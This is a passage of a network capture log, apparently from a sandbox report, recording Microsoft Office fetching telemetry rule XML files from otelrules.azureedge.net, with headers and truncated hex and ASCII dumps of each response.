2024-11-01 02:46:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:19 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:19 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024619Z-16849878b78x44pv2mpb0dd37w00000002h000000000bawh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:19 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:19 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a9c77195-601e-003e-7294-293248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024619Z-15b8d89586f4zwgbgswvrvz4vs0000000c00000000000y7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:19 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:19 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:19 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024619Z-16849878b78q9m8bqvwuva4svc000000091g000000001f09 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:19 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:19 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:19 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: fae51377-601e-0002-1366-2aa786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024619Z-159b85dff8f7lrfphC1DFWfw08000000026g00000000gfem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:19 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:20 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cf3e7330-401e-0078-5ca6-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024620Z-16849878b785jrf8dn0d2rczaw0000000bhg00000000euh6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:19 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024620Z-16849878b78km6fmmkbenhx76n00000009ng00000000smxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:20 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024620Z-16849878b78zqkvcwgr6h55x9n00000009x0000000008g12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:20 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:20 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 3dc364f2-b01e-0053-5310-2bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024620Z-15b8d89586fnsf5zkvx8tfb0zc00000005n00000000049ae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:20 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:20 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:20 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 35f8d799-001e-0079-2cb8-2a12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024620Z-17c5cb586f6f98jx9q4y7udcaw0000000200000000005a9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:20 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:20 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:20 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 2ea78088-901e-0083-5428-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024620Z-15b8d89586fmhjx6a8nf3qm53c00000004cg000000000w8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:20 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:20 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:20 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:20 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c7eb8168-b01e-003e-3b2c-2a8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024620Z-17c5cb586f6l54tjt07kuq05pc00000001hg000000000ya3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:20 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" 